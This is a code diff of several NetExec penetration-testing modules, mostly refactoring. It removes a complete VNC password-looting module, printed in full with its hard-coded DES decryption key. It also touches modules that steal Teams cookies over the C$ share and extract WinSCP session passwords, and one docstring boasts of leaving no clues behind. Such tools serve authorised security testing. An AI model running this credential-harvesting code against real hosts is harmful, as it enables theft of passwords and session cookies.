             self.stats["file_exts"].add(file_extension.lower())
             if file_extension.lower() in self.exclude_exts:
@@ -308,10 +306,10 @@ class SMBSpiderPlus:
 
         # Check if the file is already downloaded and up-to-date.
         file_dir, file_name = self.get_file_save_path(remote_file)
-        download_path = join(file_dir, file_name)
+        download_path = os.path.join(file_dir, file_name)
         needs_update_flag = False
-        if exists(download_path):
-            if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size:
+        if os.path.exists(download_path):
+            if file_modified_time <= os.stat(download_path).st_mtime and os.path.getsize(download_path) == file_size:
                 self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".')
                 self.stats["num_files_unmodified"] += 1
                 return
@@ -350,7 +348,7 @@ class SMBSpiderPlus:
         remote_file.seek(0, 0)
 
         folder, filename = self.get_file_save_path(remote_file)
-        download_path = join(folder, filename)
+        download_path = os.path.join(folder, filename)
 
         # Create the subdirectories based on the share name and file path.
         self.logger.debug(f"Creating folder '{folder}'")
@@ -367,8 +365,8 @@ class SMBSpiderPlus:
             self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}')
 
         # Check if the file is empty and should not be.
-        if getsize(download_path) == 0 and remote_file.get_filesize() > 0:
-            remove(download_path)
+        if os.path.getsize(download_path) == 0 and remote_file.get_filesize() > 0:
+            os.remove(download_path)
             remote_path = str(remote_file)[2:]
             self.logger.fail(f'Unable to download file "{remote_path}".')
 
@@ -377,7 +375,7 @@ class SMBSpiderPlus:
         
         The results are formatted with indentation and sorted keys before being written to the file.
         """
-        metadata_path = join(self.output_folder, f"{self.host}.json")
+        metadata_path = os.path.join(self.output_folder, f"{self.host}.json")
         try:
             with open(metadata_path, "w", encoding="utf-8") as fd:
                 fd.write(json.dumps(results, indent=4, sort_keys=True))
@@ -500,7 +498,7 @@ class NXCModule:
         self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
         self.exclude_filter = [d.lower() for d in self.exclude_filter]  # force case-insensitive
         self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
-        self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
+        self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "nxc_spider_plus"))
 
     def on_login(self, context, connection):
         context.log.display("Started module spidering_plus with the following options:")

nxc/modules/spooler.py

@@ -7,7 +7,6 @@ from impacket.dcerpc.v5.rpch import (
     RPC_PROXY_CONN_A1_404_ERR,
     RPC_PROXY_RPC_OUT_DATA_404_ERR,
 )
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 
 KNOWN_PROTOCOLS = {
     135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
@@ -48,14 +47,14 @@ class NXCModule:
         context.log.debug(f"StringBinding {self.__stringbinding}")
         rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
         rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
-        rpctransport.setRemoteHost(connection.host)
+        rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
         rpctransport.set_dport(self.port)
 
         if connection.kerberos:
             rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
 
         try:
-            entries = self.__fetch_list(connection.kerberos, rpctransport)
+            entries = self.__fetch_list(rpctransport)
         except Exception as e:
             error_text = f"Protocol failed: {e}"
             context.log.critical(error_text)
@@ -113,10 +112,8 @@ class NXCModule:
         else:
             context.log.debug("[Spooler] No endpoints found")
 
-    def __fetch_list(self, doKerberos, rpctransport):
+    def __fetch_list(self, rpctransport):
         dce = rpctransport.get_dce_rpc()
-        if doKerberos:
-            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
         dce.connect()
         resp = epm.hept_lookup(None, dce=dce)
         dce.disconnect()

nxc/modules/teams_localdb.py

@@ -1,6 +1,4 @@
 import sqlite3
-from nxc.paths import TMP_PATH
-from os.path import abspath, join
 
 
 class NXCModule:
@@ -18,7 +16,7 @@ class NXCModule:
         connection.execute("taskkill /F /T /IM teams.exe")
         found = 0
         paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
-        with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
+        with open("/tmp/teams_cookies2.txt", "wb") as f:
             for path in paths:
                 try:
                     connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
@@ -39,7 +37,7 @@ class NXCModule:
     @staticmethod
     def parse_file(context, name):
         try:
-            conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt")))
+            conn = sqlite3.connect("/tmp/teams_cookies2.txt")
             c = conn.cursor()
             c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
             row = c.fetchone()

nxc/modules/user-desc.py

@@ -37,6 +37,7 @@ class NXCModule:
         """
         self.log_file = None
         self.desc_count = 0
+        self.context = context
         self.account_names = set()
         self.keywords = {"pass", "creds", "creden", "key", "secret", "default"}
 
@@ -70,7 +71,6 @@ class NXCModule:
         On successful LDAP login we perform a search for all user objects that have a description.
         Users can specify additional LDAP filters that are applied to the query.
         """
-        self.context = context
         self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
         context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
 

nxc/modules/vnc.py

@@ -1,285 +0,0 @@
-import ntpath
-import tempfile
-from dploot.lib.smb import DPLootSMBConnection
-from dploot.lib.target import Target
-
-from impacket.dcerpc.v5 import rrp
-from impacket import winregistry
-from impacket.examples.secretsdump import RemoteOperations
-from impacket.system_errors import ERROR_NO_MORE_ITEMS
-
-from Cryptodome.Cipher import DES
-from binascii import unhexlify
-import codecs
-import re
-
-
-class NXCModule:
-    """
-    Loot VNC Passwords
-    Module by @_zblurx
-    """
-
-    name = "vnc"
-    description = "Loot Passwords from VNC server and client configurations"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-        self.vnc_decryption_key = b"\xe8\x4a\xd6\x60\xc4\x72\x1a\xe0"
-        self.false_positive = (
-            ".",
-            "..",
-            "desktop.ini",
-            "Public",
-            "Default",
-            "Default User",
-            "All Users",
-        )
-
-    def options(self, context, module_options):
-        """NO_REMOTEOPS     Do not use RemoteRegistry. Will not dump RealVNC, ThighVNC and TigerVNC passwords. Default is False"""
-        self.no_remoteops = False
-        if "NO_REMOTEOPS" in module_options and "True" in module_options["NO_REMOTEOPS"]:
-            self.no_remoteops = True
-
-    def on_admin_login(self, context, connection):
-        self.context = context
-        self.connection = connection
-        self.share = self.connection.args.share
-
-        host = connection.hostname + "." + connection.domain
-        domain = connection.domain
-        username = connection.username
-        kerberos = connection.kerberos
-        aesKey = connection.aesKey
-        use_kcache = getattr(connection, "use_kcache", False)
-        password = getattr(connection, "password", "")
-        lmhash = getattr(connection, "lmhash", "")
-        nthash = getattr(connection, "nthash", "")
-
-        target = Target.create(
-            domain=domain,
-            username=username,
-            password=password,
-            target=host,
-            lmhash=lmhash,
-            nthash=nthash,
-            do_kerberos=kerberos,
-            aesKey=aesKey,
-            use_kcache=use_kcache,
-        )
-
-        dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
-        if not self.no_remoteops:
-            remote_ops = RemoteOperations(connection.conn, False)
-            remote_ops.enableRegistry()
-            self.vnc_from_registry(remote_ops)
-            self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
-        self.vnc_from_filesystem(dploot_conn)
-
-    def upgrade_connection(self, target: Target, connection=None):
-        conn = DPLootSMBConnection(target)
-        if connection is not None:
-            conn.smb_session = connection
-        else:
-            conn.connect()
-        return conn
-
-    def reg_query_value(self, remote_ops, path, key, hku=False):
-        if remote_ops._RemoteOperations__rrp:
-            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
-            ans = rrp.hBaseRegOpenKey(
-                remote_ops._RemoteOperations__rrp,
-                reg_handle,
-                path,
-            )
-            key_handle = ans["phkResult"]
-            data = None
-            try:
-                _, data = rrp.hBaseRegQueryValue(
-                    remote_ops._RemoteOperations__rrp,
-                    key_handle,
-                    key,
-                )
-                return data
-            except rrp.DCERPCSessionError as e:
-                self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
-
-    def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
-        vnc_client_softwares = [
-            ("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
-        ]
-        users = self.get_users(remote_ops)
-        for user, sid in users.items():
-            ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
-            try:
-                ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
-            except Exception as e:
-                self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
-            for vnc_name, registry_path, registry_keys in vnc_client_softwares:
-                cred = {}
-                if ntuser_dat_bytes is None and remote_ops is not None:
-                    user_registry_path = ntpath.join(sid, registry_path)
-                    try:
-                        password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
-                        cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
-                        cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
-                        cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
-                    except Exception as e:
-                        if "ERROR_FILE_NOT_FOUND" not in str(e):
-                            self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
-                        continue
-                else:
-                    fh = tempfile.NamedTemporaryFile()
-                    fh.write(ntuser_dat_bytes)
-                    fh.seek(0)
-                    reg = winregistry.Registry(fh.name, isRemote=False)
-                    parent_key = reg.findKey(registry_path)
-                    if parent_key is None:
-                        continue
-                    cred["user"] = reg.getValue(ntpath.join(registry_path, registry_keys[0]))[1].decode("latin-1")
-                    password = reg.getValue(ntpath.join(registry_path, registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode()
-                    cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
-                    cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
-
-                self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
-
-    def vnc_from_registry(self, remote_ops):
-        vncs = (
-            ("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
-            ("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
-            ("RealVNC 4.x", "SOFTWARE\\RealVNC\\WinVNC4", "Password"),
-            ("TightVNC", "Software\\TightVNC\\Server", "Password"),
-            ("TightVNC ControlPassword", "Software\\TightVNC\\Server", "ControlPassword"),
-            ("TightVNC", "Software\\TightVNC\\Server", "PasswordViewOnly"),
-        )
-        for vnc_name, path, key in vncs:
-            try:
-                value = self.reg_query_value(remote_ops, path, key)
-            except Exception as e:
-                if "ERROR_FILE_NOT_FOUND" not in str(e):
-                    self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
-                continue
-            if value is None:
-                continue
-            value = value.rstrip(b"\x00")
-            password = self.recover_vncpassword(value)
-            if password is None:
-                continue
-            self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
-
-        vnc_users = (
-            ("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
-        )
-        for vnc_name, path, user, password, server in vnc_users:
-            cred = {}
-            try:
-                value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
-                value = unhexlify(value)
-            except Exception as e:
-                if "ERROR_FILE_NOT_FOUND" not in str(e):
-                    self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
-                continue
-            if value is None:
-                continue
-            cred["password"] = self.recover_vncpassword(value).decode()
-            try:
-                cred["server"] = self.reg_query_value(remote_ops, path, server)
-                cred["user"] = self.reg_query_value(remote_ops, path, user)
-            except Exception as e:
-                if "ERROR_FILE_NOT_FOUND" not in str(e):
-                    self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
-                continue
-            self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
-
-    def split_len(self, seq, length):
-        return [seq[i:i + length] for i in range(0, len(seq), length)]
-
-    def recover_vncpassword(self, cipher: bytes):
-        encpasswd = cipher.hex()
-        pwd = None
-        if encpasswd:
-            # If the hex encoded passwd length is longer than 16 hex chars and divisible
-            # by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
-            # (1 hex char = 4 binary bits = 1 nibble)
-            hexpasswd = bytes.fromhex(encpasswd)
-            if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
-                splitstr = self.split_len(codecs.encode(cipher, "hex"), 16)
-                cryptedblocks = []
-                for sblock in splitstr:
-                    cryptedblocks.append(self.decrypt_password(codecs.decode(sblock, "hex")))
-                    pwd = b"".join(cryptedblocks)
-            elif len(hexpasswd) <= 16:
-                pwd = self.decrypt_password(cipher)
-            else:
-                pwd = self.decrypt_password(cipher)
-        return pwd
-
-    def decrypt_password(self, password: bytes):
-        length = len(password)
-        try:
-            if length <= 16:
-                password += b"\x00" * (16 - length)
-            cipher = DES.new(key=self.vnc_decryption_key, mode=DES.MODE_ECB)
-            return cipher.decrypt(password)[:length]
-        except Exception as ex:
-            self.context.log.debug(f"Error while decrypting VNC password {password}: {ex}")
-
-    def vnc_from_filesystem(self, dploot_conn):
-        vncs = (
-            ("UltraVNC", "Program Files (x86)\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
-            ("UltraVNC", "Program Files\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
-            ("UltraVNC", "Program Files\\UltraVNC\\ultravnc.ini"),
-            ("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
-        )
-
-        for vnc_name, file in vncs:
-            file_content = dploot_conn.readFile(self.share, file)
-            if file_content is not None:
-                regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
-                for regex in regex_passwd:
-                    passwds_encrypted = re.findall(regex, file_content)
-                    for passwd_encrypted in passwds_encrypted:
-                        passwd_encrypted = passwd_encrypted.split(b"=")[-1]
-                        password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
-                        self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
-
-    def get_users(self, conn):
-        users = {}
-        userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
-
-        ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
-        regHandle = ans["phKey"]
-
-        ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
-        keyHandle = ans["phkResult"]
-
-        sids = []
-
-        i = 0
-        while True:
-            try:
-                ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
-                sids.append(ans2["lpNameOut"])
-            except rrp.DCERPCSessionError as e:
-                if e.get_error_code() == ERROR_NO_MORE_ITEMS:
-                    break
-            except Exception as e:
-                self.context.debug(f"Error while listing users from HKU: {e}")
-            i += 1
-        rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
-        for sid in sids:
-            ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
-            keyHandle = ans["phkResult"]
-            _, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
-            if r"%systemroot%" in profile_path:
-                continue
-            users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
-            rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
-
-        return users

nxc/modules/wcc.py

@@ -28,6 +28,17 @@ REG_VALUE_TYPE_32BIT_BE = 5
 REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE = 7
 REG_VALUE_TYPE_64BIT_LE = 11
 
+# Setup file logger
+if "wcc_logger" not in globals():
+    wcc_logger = logging.getLogger("WCC")
+    wcc_logger.propagate = False
+    log_filename = nxc_logger.init_log_file()
+    log_filename = log_filename.replace("log_", "wcc_")
+    wcc_logger.setLevel(logging.INFO)
+    wcc_file_handler = logging.FileHandler(log_filename)
+    wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
+    wcc_logger.addHandler(wcc_file_handler)
+
 
 class ConfigCheck:
     """Class for performing the checks and holding the results"""
@@ -64,7 +75,7 @@ class ConfigCheck:
     def log(self, context):
         result = "passed" if self.ok else "did not pass"
         reasons = ", ".join(self.reasons)
-        self.module.wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
+        wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
         if self.module.quiet:
             return
 
@@ -88,19 +99,6 @@ class NXCModule:
     supported_protocols = ["smb"]
     opsec_safe = True
     multiple_hosts = True
-    
-    def __init__(self):
-        self.context = None
-        self.module_options = None
-        
-        self.wcc_logger = logging.getLogger("WCC")
-        self.wcc_logger.propagate = False
-        log_filename = nxc_logger.init_log_file()
-        log_filename = log_filename.replace("log_", "wcc_")
-        self.wcc_logger.setLevel(logging.INFO)
-        wcc_file_handler = logging.FileHandler(log_filename)
-        wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
-        self.wcc_logger.addHandler(wcc_file_handler)
 
     def options(self, context, module_options):
         """
@@ -158,9 +156,15 @@ class HostChecker:
         self.dce = remoteOps._RemoteOperations__rrp
 
     def run(self):
+        # Prepare checks
         self.init_checks()
+
+        # Perform checks
         self.check_config()
-        
+
+    # Check methods #
+    #################
+
     def init_checks(self):
         # Declare the checks to do and how to do them
         self.checks = [
@@ -479,6 +483,9 @@ class HostChecker:
 
         return success, reasons
 
+    # Methods for getting values from the remote registry #
+    #######################################################
+
     def _open_root_key(self, dce, connection, root_key):
         ans = None
         retries = 1
@@ -588,6 +595,9 @@ class HostChecker:
                     return data
             return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
 
+    # Methods for getting values from SAMR and SCM #
+    ################################################
+
     def get_service(self, service_name, connection):
         """Get the service status and configuration for specified service"""
         remoteOps = RemoteOperations(smbConnection=connection.conn, doKerberos=False)
@@ -635,15 +645,23 @@ class HostChecker:
             self.context.log.error(f"ls(): C:\\{path} {e}\n")
         return file_listing
 
+
+# Comparison operators #
+########################
+
+
 def le(reg_sz_string, number):
     return int(reg_sz_string[:-1]) <= number
 
+
 def in_(obj, seq):
     return obj in seq
 
+
 def startswith(string, start):
     return string.startswith(start)
 
+
 def not_(boolean_operator):
     def wrapper(*args, **kwargs):
         return not boolean_operator(*args, **kwargs)

nxc/modules/wifi.py

@@ -51,7 +51,7 @@ class NXCModule:
 
         masterkeys = []
         try:
-            masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={})
+            masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
             masterkeys += masterkeys_triage.triage_system_masterkeys()
         except Exception as e:
             context.log.debug(f"Could not get masterkeys: {e}")

nxc/modules/winscp.py

@@ -51,19 +51,25 @@ class NXCModule:
             context.log.highlight(f"UserName: {session[2]}")
             context.log.highlight(f"Password: {session[3]}")
 
-    def user_object_to_name_mapper(self, context, connection, all_user_objects):
+    def user_object_to_name_mapper(self, context, connection, allUserObjects):
         try:
-            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
+            remote_ops = RemoteOperations(connection.conn, False)
             remote_ops.enableRegistry()
 
-            reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
+            ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
+            reg_handle = ans["phKey"]
 
-            for user_object in all_user_objects:
-                key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
+            for userObject in allUserObjects:
+                ans = rrp.hBaseRegOpenKey(
+                    remote_ops._RemoteOperations__rrp,
+                    reg_handle,
+                    "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
+                )
+                key_handle = ans["phkResult"]
 
                 user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
                 rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
-                self.userDict[user_object] = user_profile_path.split("\\")[-1]
+                self.userDict[userObject] = user_profile_path.split("\\")[-1]
         finally:
             remote_ops.finish()
 
@@ -115,14 +121,22 @@ class NXCModule:
         return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
 
     # ==================== Handle Registry ====================
-    def registry_session_extractor(self, context, connection, user_object, sessionName):
+    def registry_session_extractor(self, context, connection, userObject, sessionName):
         """Extract Session information from registry"""
         try:
-            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
+            remote_ops = RemoteOperations(connection.conn, False)
             remote_ops.enableRegistry()
 
-            reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
-            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\{sessionName}")["phkResult"]
+            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
+            reg_handle = ans["phKey"]
+
+            ans = rrp.hBaseRegOpenKey(
+                remote_ops._RemoteOperations__rrp,
+                reg_handle,
+                userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
+            )
+            key_handle = ans["phkResult"]
+
             host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
             user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
             try:
@@ -148,13 +162,18 @@ class NXCModule:
         user_objects = []
 
         try:
-            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
+            remote_ops = RemoteOperations(connection.conn, False)
             remote_ops.enableRegistry()
 
             # Enumerate all logged in and loaded Users on System
-            reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
-            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
-            users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
+            reg_handle = ans["phKey"]
+
+            ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
+            key_handle = ans["phkResult"]
+
+            data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
+            users = data["lpcSubKeys"]
 
             # Get User Names
             user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -176,13 +195,22 @@ class NXCModule:
         user_objects = []
 
         try:
-            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
+            remote_ops = RemoteOperations(connection.conn, False)
             remote_ops.enableRegistry()
 
             # Enumerate all Users on System
-            reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
-            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
-            users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+            ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
+            reg_handle = ans["phKey"]
+
+            ans = rrp.hBaseRegOpenKey(
+                remote_ops._RemoteOperations__rrp,
+                reg_handle,
+                "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
+            )
+            key_handle = ans["phkResult"]
+
+            data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
+            users = data["lpcSubKeys"]
 
             # Get User Names
             user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -194,65 +222,86 @@ class NXCModule:
             remote_ops.finish()
         return user_objects
 
-    def load_missing_users(self, context, connection, unloaded_user_objects):
+    def load_missing_users(self, context, connection, unloadedUserObjects):
         """Extract Information for not logged in Users and then loads them into registry."""
         try:
-            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
+            remote_ops = RemoteOperations(connection.conn, False)
             remote_ops.enableRegistry()
 
-            for user_object in unloaded_user_objects:
+            for userObject in unloadedUserObjects:
                 # Extract profile Path of NTUSER.DAT
-                reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
-                key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
+                ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
+                reg_handle = ans["phKey"]
+
+                ans = rrp.hBaseRegOpenKey(
+                    remote_ops._RemoteOperations__rrp,
+                    reg_handle,
+                    "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
+                )
+                key_handle = ans["phkResult"]
+
                 user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
                 rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
 
                 # Load Profile
-                reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
-                key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
+                ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
+                reg_handle = ans["phKey"]
 
-                context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
-                rrp.hBaseRegLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
+                ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
+                key_handle = ans["phkResult"]
+
+                context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
+                rrp.hBaseRegLoadKey(
+                    remote_ops._RemoteOperations__rrp,
+                    key_handle,
+                    userObject,
+                    user_profile_path + "\\" + "NTUSER.DAT",
+                )
                 rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
         finally:
             remote_ops.finish()
 
-    def unload_missing_users(self, context, connection, unloaded_user_objects):
-        """If some user were not logged in at the beginning we unload them from registry."""
+    def unload_missing_users(self, context, connection, unloadedUserObjects):
+        """If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
         try:
-            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
+            remote_ops = RemoteOperations(connection.conn, False)
             remote_ops.enableRegistry()
 
             # Unload Profile
-            reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
-            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
+            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
+            reg_handle = ans["phKey"]
 
-            for user_object in unloaded_user_objects:
-                context.log.debug("UNLOAD USER FROM REGISTRY: " + user_object)
+            ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
+            key_handle = ans["phkResult"]
+
+            for userObject in unloadedUserObjects:
+                context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
                 try:
-                    rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object)
+                    rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
                 except Exception as e:
-                    context.log.fail(f"Error unloading user {user_object} in registry: {e}")
+                    context.log.fail(f"Error unloading user {userObject} in registry: {e}")
                     context.log.debug(traceback.format_exc())
             rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
         finally:
             remote_ops.finish()
 
-    def check_masterpassword_set(self, context, connection, user_object):
-        use_master_password = False
+    def check_masterpassword_set(self, connection, userObject):
         try:
-            remote_ops = RemoteOperations(connection.conn, connection.kerberos)
+            remote_ops = RemoteOperations(connection.conn, False)
             remote_ops.enableRegistry()
 
-            reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
-            key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security")["phkResult"]
+            ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
+            reg_handle = ans["phKey"]
+
